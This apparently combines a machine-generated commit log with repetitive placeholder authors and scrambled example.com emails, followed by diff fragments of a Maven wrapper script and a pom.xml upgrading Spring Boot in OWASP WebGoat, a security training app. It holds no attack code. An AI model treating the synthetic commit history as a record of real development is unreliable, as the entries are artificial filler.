Tue May 13 18:28:29 UTC 2025: Commit 11 by Ten
Tue May 13 18:31:16 UTC 2025: Commit 12 by <author10@example.com>
Tue May 13 21:00:42 UTC 2025: Commit 1 by Author
Tue May 13 21:03:29 UTC 2025: Commit 2 by Eight
Tue May 13 21:06:15 UTC 2025: Commit 3 by <author8@example.com>
Tue May 13 21:09:02 UTC 2025: Commit 4 by Author
Tue May 13 21:11:49 UTC 2025: Commit 5 by Seven
Tue May 13 21:14:35 UTC 2025: Commit 6 by <author7@example.com>
Tue May 13 21:17:22 UTC 2025: Commit 7 by DWSAuthor
Tue May 13 21:20:09 UTC 2025: Commit 8 by Three
Tue May 13 21:22:55 UTC 2025: Commit 9 by <dwsauthor3@example.com>
Tue May 13 21:25:42 UTC 2025: Commit 10 by Author
Tue May 13 21:28:29 UTC 2025: Commit 11 by Six
Tue May 13 21:31:15 UTC 2025: Commit 12 by <author6@example.com>
Wed May 14 00:00:42 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 00:03:29 UTC 2025: Commit 2 by Eight
Wed May 14 00:06:15 UTC 2025: Commit 3 by <adwsuthor8@example.com>
Wed May 14 00:09:02 UTC 2025: Commit 4 by DWSAuthor
Wed May 14 00:11:49 UTC 2025: Commit 5 by Six
Wed May 14 00:14:35 UTC 2025: Commit 6 by <autdwshor6@example.com>
Wed May 14 00:17:22 UTC 2025: Commit 7 by Author
Wed May 14 00:20:09 UTC 2025: Commit 8 by Two
Wed May 14 00:22:55 UTC 2025: Commit 9 by <author2@example.com>
Wed May 14 00:25:42 UTC 2025: Commit 10 by DWSAuthor
Wed May 14 00:28:29 UTC 2025: Commit 11 by Ten
Wed May 14 00:31:15 UTC 2025: Commit 12 by <autdwshor10@example.com>
Wed May 14 03:00:43 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 03:03:30 UTC 2025: Commit 2 by Nine
Wed May 14 03:06:17 UTC 2025: Commit 3 by <autdwshor9@example.com>
Wed May 14 03:09:03 UTC 2025: Commit 4 by Author
Wed May 14 03:11:50 UTC 2025: Commit 5 by One
Wed May 14 03:14:37 UTC 2025: Commit 6 by <author1@example.com>
Wed May 14 03:17:23 UTC 2025: Commit 7 by DWSAuthor
Wed May 14 03:20:10 UTC 2025: Commit 8 by Four
Wed May 14 03:22:56 UTC 2025: Commit 9 by <autdwshor4@example.com>
Wed May 14 03:25:43 UTC 2025: Commit 10 by DWSAuthor
Wed May 14 03:28:30 UTC 2025: Commit 11 by Six
Wed May 14 03:31:16 UTC 2025: Commit 12 by <autdwshor6@example.com>
Wed May 14 06:00:42 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 06:03:29 UTC 2025: Commit 2 by Six
Wed May 14 06:06:16 UTC 2025: Commit 3 by <autdwshor6@example.com>
Wed May 14 06:09:02 UTC 2025: Commit 4 by Author
Wed May 14 06:11:49 UTC 2025: Commit 5 by Three
Wed May 14 06:14:36 UTC 2025: Commit 6 by <author3@example.com>
Wed May 14 06:17:22 UTC 2025: Commit 7 by DWSAuthor
Wed May 14 06:20:09 UTC 2025: Commit 8 by Eight
Wed May 14 06:22:56 UTC 2025: Commit 9 by <adwsuthor8@example.com>
Wed May 14 06:25:42 UTC 2025: Commit 10 by Author
Wed May 14 06:28:29 UTC 2025: Commit 11 by One
Wed May 14 06:31:16 UTC 2025: Commit 12 by <author1@example.com>
Wed May 14 09:00:43 UTC 2025: Commit 1 by Author
Wed May 14 09:03:30 UTC 2025: Commit 2 by Two
Wed May 14 09:06:16 UTC 2025: Commit 3 by <author2@example.com>
Wed May 14 09:09:03 UTC 2025: Commit 4 by Author
Wed May 14 09:11:50 UTC 2025: Commit 5 by Four
Wed May 14 09:14:36 UTC 2025: Commit 6 by <author4@example.com>
Wed May 14 09:17:23 UTC 2025: Commit 7 by Author
Wed May 14 09:20:09 UTC 2025: Commit 8 by Seven
Wed May 14 09:22:56 UTC 2025: Commit 9 by <author7@example.com>
Wed May 14 09:25:43 UTC 2025: Commit 10 by DWSAuthor
Wed May 14 09:28:29 UTC 2025: Commit 11 by Five
Wed May 14 09:31:16 UTC 2025: Commit 12 by <autdwshor5@example.com>
Wed May 14 12:00:42 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 12:03:29 UTC 2025: Commit 2 by Three
Wed May 14 12:06:16 UTC 2025: Commit 3 by <dwsauthor3@example.com>
Wed May 14 12:09:02 UTC 2025: Commit 4 by Author
Wed May 14 12:11:49 UTC 2025: Commit 5 by Two
Wed May 14 12:14:36 UTC 2025: Commit 6 by <author2@example.com>
Wed May 14 12:17:22 UTC 2025: Commit 7 by DWSAuthor
Wed May 14 12:20:09 UTC 2025: Commit 8 by Five
Wed May 14 12:22:56 UTC 2025: Commit 9 by <autdwshor5@example.com>
Wed May 14 12:25:42 UTC 2025: Commit 10 by DWSAuthor
Wed May 14 12:28:29 UTC 2025: Commit 11 by Seven
Wed May 14 12:31:16 UTC 2025: Commit 12 by <adwsuthor7@example.com>
Wed May 14 15:00:42 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 15:03:29 UTC 2025: Commit 2 by Ten
Wed May 14 15:06:15 UTC 2025: Commit 3 by <autdwshor10@example.com>
Wed May 14 15:09:02 UTC 2025: Commit 4 by DWSAuthor
Wed May 14 15:11:49 UTC 2025: Commit 5 by Five
Wed May 14 15:14:35 UTC 2025: Commit 6 by <autdwshor5@example.com>
Wed May 14 15:17:22 UTC 2025: Commit 7 by DWSAuthor
Wed May 14 15:20:09 UTC 2025: Commit 8 by One
Wed May 14 15:22:55 UTC 2025: Commit 9 by <dwsauthor1@example.com>
Wed May 14 15:25:42 UTC 2025: Commit 10 by Author
Wed May 14 15:28:29 UTC 2025: Commit 11 by One
Wed May 14 15:31:15 UTC 2025: Commit 12 by <author1@example.com>
Wed May 14 18:00:42 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 18:03:29 UTC 2025: Commit 2 by Six
Wed May 14 18:06:16 UTC 2025: Commit 3 by <autdwshor6@example.com>
Wed May 14 18:09:02 UTC 2025: Commit 4 by Author
Wed May 14 18:11:49 UTC 2025: Commit 5 by Three
Wed May 14 18:14:35 UTC 2025: Commit 6 by <author3@example.com>
Wed May 14 18:17:22 UTC 2025: Commit 7 by DWSAuthor
Wed May 14 18:20:09 UTC 2025: Commit 8 by One
Wed May 14 18:22:55 UTC 2025: Commit 9 by <dwsauthor1@example.com>
Wed May 14 18:25:42 UTC 2025: Commit 10 by Author
Wed May 14 18:28:29 UTC 2025: Commit 11 by Seven
Wed May 14 18:31:15 UTC 2025: Commit 12 by <author7@example.com>
Wed May 14 21:00:43 UTC 2025: Commit 1 by Author
Wed May 14 21:03:29 UTC 2025: Commit 2 by Two
Wed May 14 21:06:16 UTC 2025: Commit 3 by <author2@example.com>
Wed May 14 21:09:03 UTC 2025: Commit 4 by DWSAuthor
Wed May 14 21:11:49 UTC 2025: Commit 5 by Eight
Wed May 14 21:14:36 UTC 2025: Commit 6 by <adwsuthor8@example.com>
Wed May 14 21:17:23 UTC 2025: Commit 7 by Author
Wed May 14 21:20:09 UTC 2025: Commit 8 by Five
Wed May 14 21:22:56 UTC 2025: Commit 9 by <author5@example.com>
Wed May 14 21:25:43 UTC 2025: Commit 10 by DWSAuthor
Wed May 14 21:28:29 UTC 2025: Commit 11 by Four
Wed May 14 21:31:16 UTC 2025: Commit 12 by <autdwshor4@example.com>
Thu May 15 00:00:43 UTC 2025: Commit 1 by DWSAuthor
Thu May 15 00:03:29 UTC 2025: Commit 2 by Three
Thu May 15 00:06:16 UTC 2025: Commit 3 by <dwsauthor3@example.com>
Thu May 15 00:09:03 UTC 2025: Commit 4 by Author
Thu May 15 00:11:49 UTC 2025: Commit 5 by Six
Thu May 15 00:14:36 UTC 2025: Commit 6 by <author6@example.com>
Thu May 15 00:17:23 UTC 2025: Commit 7 by Author
Thu May 15 00:20:09 UTC 2025: Commit 8 by Eight
Thu May 15 00:22:56 UTC 2025: Commit 9 by <author8@example.com>
Thu May 15 00:25:43 UTC 2025: Commit 10 by Author
Thu May 15 00:28:29 UTC 2025: Commit 11 by Four
Thu May 15 00:31:16 UTC 2025: Commit 12 by <author4@example.com>
Thu May 15 03:00:42 UTC 2025: Commit 1 by DWSAuthor
Thu May 15 03:03:29 UTC 2025: Commit 2 by Eight
Thu May 15 03:06:16 UTC 2025: Commit 3 by <adwsuthor8@example.com>
Thu May 15 03:09:02 UTC 2025: Commit 4 by Author
Thu May 15 03:11:49 UTC 2025: Commit 5 by Nine
Thu May 15 03:14:36 UTC 2025: Commit 6 by <author9@example.com>
Thu May 15 03:17:22 UTC 2025: Commit 7 by DWSAuthor
Thu May 15 03:20:09 UTC 2025: Commit 8 by Ten
Thu May 15 03:22:56 UTC 2025: Commit 9 by <autdwshor10@example.com>
Thu May 15 03:25:42 UTC 2025: Commit 10 by Author
Thu May 15 03:28:29 UTC 2025: Commit 11 by Two
Thu May 15 03:31:16 UTC 2025: Commit 12 by <author2@example.com>
Thu May 15 06:00:43 UTC 2025: Commit 1 by DWSAuthor
Thu May 15 06:03:30 UTC 2025: Commit 2 by Five
Thu May 15 06:06:17 UTC 2025: Commit 3 by <autdwshor5@example.com>
Thu May 15 06:09:04 UTC 2025: Commit 4 by DWSAuthor
Thu May 15 06:11:50 UTC 2025: Commit 5 by Eight
Thu May 15 06:14:37 UTC 2025: Commit 6 by <adwsuthor8@example.com>
Thu May 15 06:17:23 UTC 2025: Commit 7 by Author
Thu May 15 06:20:10 UTC 2025: Commit 8 by Two
Thu May 15 06:22:57 UTC 2025: Commit 9 by <author2@example.com>
Thu May 15 06:25:43 UTC 2025: Commit 10 by DWSAuthor
Thu May 15 06:28:30 UTC 2025: Commit 11 by Ten
Thu May 15 06:31:17 UTC 2025: Commit 12 by <autdwshor10@example.com>
Thu May 15 09:00:45 UTC 2025: Commit 1 by DWSAuthor
Thu May 15 09:03:32 UTC 2025: Commit 2 by Five
Thu May 15 09:06:19 UTC 2025: Commit 3 by <autdwshor5@example.com>
Thu May 15 09:09:06 UTC 2025: Commit 4 by DWSAuthor
Thu May 15 09:11:53 UTC 2025: Commit 5 by Three
Thu May 15 09:14:39 UTC 2025: Commit 6 by <dwsauthor3@example.com>
Thu May 15 09:17:26 UTC 2025: Commit 7 by Author
Thu May 15 09:20:13 UTC 2025: Commit 8 by Five
Thu May 15 09:22:59 UTC 2025: Commit 9 by <author5@example.com>
Thu May 15 09:25:46 UTC 2025: Commit 10 by DWSAuthor
Thu May 15 09:28:33 UTC 2025: Commit 11 by Ten
Thu May 15 09:31:20 UTC 2025: Commit 12 by <autdwshor10@example.com>
Thu May 15 12:00:43 UTC 2025: Commit 1 by DWSAuthor
Thu May 15 12:03:30 UTC 2025: Commit 2 by Ten
Thu May 15 12:06:17 UTC 2025: Commit 3 by <autdwshor10@example.com>
Thu May 15 12:09:03 UTC 2025: Commit 4 by Author
Thu May 15 12:11:50 UTC 2025: Commit 5 by Seven
Thu May 15 12:14:37 UTC 2025: Commit 6 by <author7@example.com>
Thu May 15 12:17:23 UTC 2025: Commit 7 by Author
Thu May 15 12:20:10 UTC 2025: Commit 8 by Six
Thu May 15 12:22:57 UTC 2025: Commit 9 by <author6@example.com>
Thu May 15 12:25:43 UTC 2025: Commit 10 by Author
Thu May 15 12:28:30 UTC 2025: Commit 11 by Five
Thu May 15 12:31:17 UTC 2025: Commit 12 by <author5@example.com>
Thu May 15 15:00:43 UTC 2025: Commit 1 by Author
Thu May 15 15:03:30 UTC 2025: Commit 2 by One
Thu May 15 15:06:16 UTC 2025: Commit 3 by <author1@example.com>
Thu May 15 15:09:03 UTC 2025: Commit 4 by DWSAuthor
Thu May 15 15:11:50 UTC 2025: Commit 5 by Three
Thu May 15 15:14:36 UTC 2025: Commit 6 by <dwsauthor3@example.com>
Thu May 15 15:17:23 UTC 2025: Commit 7 by DWSAuthor
Thu May 15 15:20:10 UTC 2025: Commit 8 by Four
Thu May 15 15:22:56 UTC 2025: Commit 9 by <autdwshor4@example.com>
Thu May 15 15:25:43 UTC 2025: Commit 10 by DWSAuthor
Thu May 15 15:28:30 UTC 2025: Commit 11 by Nine
Thu May 15 15:31:16 UTC 2025: Commit 12 by <autdwshor9@example.com>
Thu May 15 18:00:43 UTC 2025: Commit 1 by Author
Thu May 15 18:03:29 UTC 2025: Commit 2 by One
Thu May 15 18:06:16 UTC 2025: Commit 3 by <author1@example.com>
Thu May 15 18:09:03 UTC 2025: Commit 4 by Author
Thu May 15 18:11:49 UTC 2025: Commit 5 by Four
Thu May 15 18:14:36 UTC 2025: Commit 6 by <author4@example.com>
Thu May 15 18:17:23 UTC 2025: Commit 7 by Author
Thu May 15 18:20:09 UTC 2025: Commit 8 by Two
Thu May 15 18:22:56 UTC 2025: Commit 9 by <author2@example.com>
Thu May 15 18:25:43 UTC 2025: Commit 10 by Author
Thu May 15 18:28:29 UTC 2025: Commit 11 by Eight
Thu May 15 18:31:16 UTC 2025: Commit 12 by <author8@example.com>
Thu May 15 21:00:43 UTC 2025: Commit 1 by Author
Thu May 15 21:03:29 UTC 2025: Commit 2 by Seven
Thu May 15 21:06:16 UTC 2025: Commit 3 by <author7@example.com>
Thu May 15 21:09:03 UTC 2025: Commit 4 by DWSAuthor
Thu May 15 21:11:49 UTC 2025: Commit 5 by Two
Thu May 15 21:14:36 UTC 2025: Commit 6 by <dwsauthor2@example.com>
Thu May 15 21:17:23 UTC 2025: Commit 7 by DWSAuthor
Thu May 15 21:20:09 UTC 2025: Commit 8 by One
Thu May 15 21:22:56 UTC 2025: Commit 9 by <dwsauthor1@example.com>
Thu May 15 21:25:43 UTC 2025: Commit 10 by DWSAuthor
Thu May 15 21:28:30 UTC 2025: Commit 11 by Three
Thu May 15 21:31:16 UTC 2025: Commit 12 by <dwsauthor3@example.com>
Fri May 16 00:00:42 UTC 2025: Commit 1 by Author
Fri May 16 00:03:29 UTC 2025: Commit 2 by One
Fri May 16 00:06:16 UTC 2025: Commit 3 by <author1@example.com>
Fri May 16 00:09:03 UTC 2025: Commit 4 by DWSAuthor
Fri May 16 00:11:49 UTC 2025: Commit 5 by Three
Fri May 16 00:14:36 UTC 2025: Commit 6 by <dwsauthor3@example.com>
Fri May 16 00:17:23 UTC 2025: Commit 7 by Author
Fri May 16 00:20:09 UTC 2025: Commit 8 by Nine
Fri May 16 00:22:56 UTC 2025: Commit 9 by <author9@example.com>
Fri May 16 03:00:22 UTC 2025: Commit 1 by Author
Fri May 16 03:03:08 UTC 2025: Commit 2 by Five
Fri May 16 03:05:55 UTC 2025: Commit 3 by <author5@example.com>
Fri May 16 03:08:42 UTC 2025: Commit 4 by Author
Fri May 16 03:11:29 UTC 2025: Commit 5 by One
Fri May 16 03:14:15 UTC 2025: Commit 6 by <author1@example.com>
Fri May 16 03:17:02 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 03:19:49 UTC 2025: Commit 8 by Seven
Fri May 16 03:22:35 UTC 2025: Commit 9 by <adwsuthor7@example.com>
Fri May 16 03:25:22 UTC 2025: Commit 10 by DWSAuthor
Fri May 16 03:28:09 UTC 2025: Commit 11 by Nine
Fri May 16 03:30:55 UTC 2025: Commit 12 by <autdwshor9@example.com>
Fri May 16 06:00:19 UTC 2025: Commit 1 by DWSAuthor
Fri May 16 06:03:05 UTC 2025: Commit 2 by Two
Fri May 16 06:05:52 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Fri May 16 06:08:39 UTC 2025: Commit 4 by Author
Fri May 16 06:11:25 UTC 2025: Commit 5 by Nine
Fri May 16 06:14:12 UTC 2025: Commit 6 by <author9@example.com>
Fri May 16 06:16:59 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 06:19:45 UTC 2025: Commit 8 by Ten
Fri May 16 06:22:32 UTC 2025: Commit 9 by <autdwshor10@example.com>
Fri May 16 06:25:19 UTC 2025: Commit 10 by DWSAuthor
Fri May 16 06:28:05 UTC 2025: Commit 11 by Five
Fri May 16 06:30:52 UTC 2025: Commit 12 by <autdwshor5@example.com>
Fri May 16 09:00:19 UTC 2025: Commit 1 by Author
Fri May 16 09:03:05 UTC 2025: Commit 2 by One
Fri May 16 09:05:52 UTC 2025: Commit 3 by <author1@example.com>
Fri May 16 09:08:39 UTC 2025: Commit 4 by Author
Fri May 16 09:11:26 UTC 2025: Commit 5 by Four
Fri May 16 09:14:13 UTC 2025: Commit 6 by <author4@example.com>
Fri May 16 09:16:59 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 09:19:46 UTC 2025: Commit 8 by Three
Fri May 16 09:22:33 UTC 2025: Commit 9 by <dwsauthor3@example.com>
Fri May 16 09:25:19 UTC 2025: Commit 10 by Author
Fri May 16 09:28:06 UTC 2025: Commit 11 by Nine
Fri May 16 09:30:53 UTC 2025: Commit 12 by <author9@example.com>
Fri May 16 12:00:26 UTC 2025: Commit 1 by Author
Fri May 16 12:03:13 UTC 2025: Commit 2 by Five
Fri May 16 12:05:59 UTC 2025: Commit 3 by <author5@example.com>
Fri May 16 12:08:46 UTC 2025: Commit 4 by DWSAuthor
Fri May 16 12:11:33 UTC 2025: Commit 5 by Six
Fri May 16 12:14:19 UTC 2025: Commit 6 by <autdwshor6@example.com>
Fri May 16 12:17:06 UTC 2025: Commit 7 by Author
Fri May 16 12:19:53 UTC 2025: Commit 8 by Six
Fri May 16 12:22:39 UTC 2025: Commit 9 by <author6@example.com>
Fri May 16 12:25:26 UTC 2025: Commit 10 by DWSAuthor
Fri May 16 12:28:13 UTC 2025: Commit 11 by Two
Fri May 16 12:30:59 UTC 2025: Commit 12 by <dwsauthor2@example.com>
Fri May 16 15:00:18 UTC 2025: Commit 1 by Author
Fri May 16 15:03:05 UTC 2025: Commit 2 by Five
Fri May 16 15:05:52 UTC 2025: Commit 3 by <author5@example.com>
Fri May 16 15:08:38 UTC 2025: Commit 4 by DWSAuthor
Fri May 16 15:11:25 UTC 2025: Commit 5 by One
Fri May 16 15:14:12 UTC 2025: Commit 6 by <dwsauthor1@example.com>
Fri May 16 15:16:58 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 15:19:45 UTC 2025: Commit 8 by Five
Fri May 16 15:22:32 UTC 2025: Commit 9 by <autdwshor5@example.com>
Fri May 16 15:25:18 UTC 2025: Commit 10 by DWSAuthor
Fri May 16 15:28:05 UTC 2025: Commit 11 by Two
Fri May 16 15:30:52 UTC 2025: Commit 12 by <dwsauthor2@example.com>
Fri May 16 18:00:18 UTC 2025: Commit 1 by DWSAuthor
Fri May 16 18:03:05 UTC 2025: Commit 2 by Ten
Fri May 16 18:05:52 UTC 2025: Commit 3 by <autdwshor10@example.com>
Fri May 16 18:08:39 UTC 2025: Commit 4 by Author
Fri May 16 18:11:25 UTC 2025: Commit 5 by One
Fri May 16 18:14:12 UTC 2025: Commit 6 by <author1@example.com>
Fri May 16 18:16:59 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 18:19:45 UTC 2025: Commit 8 by Two
Fri May 16 18:22:32 UTC 2025: Commit 9 by <dwsauthor2@example.com>
Fri May 16 18:25:19 UTC 2025: Commit 10 by Author
Fri May 16 18:28:05 UTC 2025: Commit 11 by Five
Fri May 16 18:30:52 UTC 2025: Commit 12 by <author5@example.com>
Fri May 16 21:00:18 UTC 2025: Commit 1 by Author
Fri May 16 21:03:05 UTC 2025: Commit 2 by Nine
Fri May 16 21:05:52 UTC 2025: Commit 3 by <author9@example.com>
Fri May 16 21:08:39 UTC 2025: Commit 4 by DWSAuthor
Fri May 16 21:11:25 UTC 2025: Commit 5 by Nine
Fri May 16 21:14:12 UTC 2025: Commit 6 by <autdwshor9@example.com>
Fri May 16 21:16:59 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 21:19:45 UTC 2025: Commit 8 by Six
Fri May 16 21:22:32 UTC 2025: Commit 9 by <autdwshor6@example.com>
Fri May 16 21:25:19 UTC 2025: Commit 10 by DWSAuthor
Fri May 16 21:28:05 UTC 2025: Commit 11 by Eight
Fri May 16 21:30:52 UTC 2025: Commit 12 by <adwsuthor8@example.com>
Sat May 17 00:00:18 UTC 2025: Commit 1 by Author
Sat May 17 00:03:04 UTC 2025: Commit 2 by Three
Sat May 17 00:05:51 UTC 2025: Commit 3 by <author3@example.com>
Sat May 17 00:08:38 UTC 2025: Commit 4 by DWSAuthor
Sat May 17 00:11:25 UTC 2025: Commit 5 by Seven
Sat May 17 00:14:11 UTC 2025: Commit 6 by <adwsuthor7@example.com>
Sat May 17 00:16:58 UTC 2025: Commit 7 by DWSAuthor
Sat May 17 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Sat May 17 12:03:05 UTC 2025: Commit 2 by Seven
Sat May 17 12:05:52 UTC 2025: Commit 3 by <adwsuthor7@example.com>
Sun May 18 00:00:22 UTC 2025: Commit 1 by DWSAuthor
Sun May 18 00:03:09 UTC 2025: Commit 2 by Two
Sun May 18 00:05:55 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Sun May 18 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Sun May 18 12:03:05 UTC 2025: Commit 2 by Two
Sun May 18 12:05:52 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Mon May 19 00:00:19 UTC 2025: Commit 1 by Author
Mon May 19 00:03:06 UTC 2025: Commit 2 by Nine
Mon May 19 00:05:53 UTC 2025: Commit 3 by <author9@example.com>
Mon May 19 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Mon May 19 12:03:04 UTC 2025: Commit 2 by Nine
Mon May 19 12:05:51 UTC 2025: Commit 3 by <autdwshor9@example.com>
Tue May 20 00:00:19 UTC 2025: Commit 1 by DWSAuthor
Tue May 20 00:03:05 UTC 2025: Commit 2 by Seven
Tue May 20 00:05:52 UTC 2025: Commit 3 by <adwsuthor7@example.com>
Tue May 20 12:00:20 UTC 2025: Commit 1 by DWSAuthor
Tue May 20 12:03:07 UTC 2025: Commit 2 by Six
Tue May 20 12:05:53 UTC 2025: Commit 3 by <autdwshor6@example.com>
Wed May 21 00:00:18 UTC 2025: Commit 1 by Author
Wed May 21 00:03:05 UTC 2025: Commit 2 by Three
Wed May 21 00:05:52 UTC 2025: Commit 3 by <author3@example.com>
Wed May 21 12:00:19 UTC 2025: Commit 1 by DWSAuthor
Wed May 21 12:03:05 UTC 2025: Commit 2 by Six
Wed May 21 12:05:52 UTC 2025: Commit 3 by <autdwshor6@example.com>
Thu May 22 00:00:18 UTC 2025: Commit 1 by DWSAuthor
Thu May 22 00:03:05 UTC 2025: Commit 2 by Five
Thu May 22 00:05:52 UTC 2025: Commit 3 by <autdwshor5@example.com>
Thu May 22 12:00:18 UTC 2025: Commit 1 by Author
Thu May 22 12:03:05 UTC 2025: Commit 2 by Ten
Thu May 22 12:05:52 UTC 2025: Commit 3 by <author10@example.com>
Fri May 23 00:00:21 UTC 2025: Commit 1 by Author
Fri May 23 00:03:08 UTC 2025: Commit 2 by Five
Fri May 23 00:05:54 UTC 2025: Commit 3 by <author5@example.com>
Fri May 23 12:00:19 UTC 2025: Commit 1 by Author
Fri May 23 12:03:05 UTC 2025: Commit 2 by Ten
Fri May 23 12:05:52 UTC 2025: Commit 3 by <author10@example.com>
Sat May 24 00:00:19 UTC 2025: Commit 1 by Author
Sat May 24 00:03:06 UTC 2025: Commit 2 by Six
Sat May 24 00:05:52 UTC 2025: Commit 3 by <author6@example.com>
Sat May 24 12:00:18 UTC 2025: Commit 1 by Author
Sat May 24 12:03:04 UTC 2025: Commit 2 by Two
Sat May 24 12:05:51 UTC 2025: Commit 3 by <author2@example.com>
Sun May 25 00:00:18 UTC 2025: Commit 1 by Author
Sun May 25 00:03:05 UTC 2025: Commit 2 by Four
Sun May 25 00:05:52 UTC 2025: Commit 3 by <author4@example.com>
Sun May 25 12:00:18 UTC 2025: Commit 1 by Author
Sun May 25 12:03:05 UTC 2025: Commit 2 by Two
Sun May 25 12:05:52 UTC 2025: Commit 3 by <author2@example.com>
Mon May 26 00:00:18 UTC 2025: Commit 1 by Author
Mon May 26 00:03:05 UTC 2025: Commit 2 by Seven
Mon May 26 00:05:52 UTC 2025: Commit 3 by <author7@example.com>
Mon May 26 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Mon May 26 12:03:05 UTC 2025: Commit 2 by Ten
Mon May 26 12:05:52 UTC 2025: Commit 3 by <autdwshor10@example.com>
Tue May 27 00:00:19 UTC 2025: Commit 1 by DWSAuthor
Tue May 27 00:03:05 UTC 2025: Commit 2 by Ten
Tue May 27 00:05:52 UTC 2025: Commit 3 by <autdwshor10@example.com>
Tue May 27 12:00:18 UTC 2025: Commit 1 by Author
Tue May 27 12:03:05 UTC 2025: Commit 2 by Ten
Tue May 27 12:05:52 UTC 2025: Commit 3 by <author10@example.com>
Wed May 28 00:00:29 UTC 2025: Commit 1 by DWSAuthor
Wed May 28 00:03:18 UTC 2025: Commit 2 by Two
Wed May 28 00:06:07 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Wed May 28 12:00:19 UTC 2025: Commit 1 by DWSAuthor
Wed May 28 12:03:06 UTC 2025: Commit 2 by Five
Wed May 28 12:05:52 UTC 2025: Commit 3 by <autdwshor5@example.com>
Thu May 29 00:00:18 UTC 2025: Commit 1 by Author
Thu May 29 00:03:05 UTC 2025: Commit 2 by Nine
Thu May 29 00:05:52 UTC 2025: Commit 3 by <author9@example.com>
Thu May 29 12:00:19 UTC 2025: Commit 1 by Author
Thu May 29 12:03:06 UTC 2025: Commit 2 by Nine
Thu May 29 12:05:53 UTC 2025: Commit 3 by <author9@example.com>
Fri May 30 00:00:18 UTC 2025: Commit 1 by Author
Fri May 30 00:03:05 UTC 2025: Commit 2 by One
Fri May 30 00:05:52 UTC 2025: Commit 3 by <author1@example.com>
Fri May 30 12:00:19 UTC 2025: Commit 1 by Author
Fri May 30 12:03:06 UTC 2025: Commit 2 by Three
Fri May 30 12:06:08 UTC 2025: Commit 3 by <author3@example.com>
Sat May 31 00:00:18 UTC 2025: Commit 1 by Author
Sat May 31 00:03:04 UTC 2025: Commit 2 by Four
Sat May 31 00:05:51 UTC 2025: Commit 3 by <author4@example.com>
Sat May 31 12:00:19 UTC 2025: Commit 1 by DWSAuthor
Sat May 31 12:03:05 UTC 2025: Commit 2 by Ten
Sat May 31 12:05:52 UTC 2025: Commit 3 by <autdwshor10@example.com>
Sun Jun 1 00:00:18 UTC 2025: Commit 1 by Author
Sun Jun 1 00:03:05 UTC 2025: Commit 2 by One
Sun Jun 1 00:05:52 UTC 2025: Commit 3 by <author1@example.com>
Sun Jun 1 12:00:19 UTC 2025: Commit 1 by Author
Sun Jun 1 12:03:06 UTC 2025: Commit 2 by One
Sun Jun 1 12:05:52 UTC 2025: Commit 3 by <author1@example.com>
Mon Jun 2 00:00:19 UTC 2025: Commit 1 by Author
Mon Jun 2 00:03:06 UTC 2025: Commit 2 by Ten
Mon Jun 2 00:05:52 UTC 2025: Commit 3 by <author10@example.com>
Mon Jun 2 12:00:20 UTC 2025: Commit 1 by DWSAuthor
Mon Jun 2 12:03:07 UTC 2025: Commit 2 by Seven
Mon Jun 2 12:05:54 UTC 2025: Commit 3 by <adwsuthor7@example.com>
Tue Jun 3 00:00:19 UTC 2025: Commit 1 by Author
Tue Jun 3 00:03:06 UTC 2025: Commit 2 by Four
Tue Jun 3 00:05:52 UTC 2025: Commit 3 by <author4@example.com>
Tue Jun 3 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Tue Jun 3 12:03:05 UTC 2025: Commit 2 by Five
Tue Jun 3 12:05:52 UTC 2025: Commit 3 by <autdwshor5@example.com>
Wed Jun 4 00:00:20 UTC 2025: Commit 1 by DWSAuthor
Wed Jun 4 00:03:06 UTC 2025: Commit 2 by Ten
Wed Jun 4 00:05:53 UTC 2025: Commit 3 by <autdwshor10@example.com>
Wed Jun 4 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Wed Jun 4 12:03:05 UTC 2025: Commit 2 by Six
Wed Jun 4 12:05:52 UTC 2025: Commit 3 by <autdwshor6@example.com>
Thu Jun 5 00:00:20 UTC 2025: Commit 1 by DWSAuthor
Thu Jun 5 00:03:07 UTC 2025: Commit 2 by Six
Thu Jun 5 00:05:54 UTC 2025: Commit 3 by <autdwshor6@example.com>
Thu Jun 5 12:00:22 UTC 2025: Commit 1 by DWSAuthor
Thu Jun 5 12:03:09 UTC 2025: Commit 2 by Four
Thu Jun 5 12:05:55 UTC 2025: Commit 3 by <autdwshor4@example.com>
Fri Jun 6 00:00:18 UTC 2025: Commit 1 by Author
Fri Jun 6 00:03:05 UTC 2025: Commit 2 by Seven
Fri Jun 6 00:05:52 UTC 2025: Commit 3 by <author7@example.com>

2
mvnw vendored
View File

@ -246,7 +246,7 @@ else
else
curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o "$wrapperJarPath" "$jarUrl" -f
fi
else
if [ "$MVNW_VERBOSE" = true ]; then
echo "Falling back to using Java to download"

366
pom.xml
View File

@ -1,16 +1,16 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.1</version>
<version>3.4.4</version>
</parent>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat</artifactId>
<version>2023.4-SNAPSHOT</version>
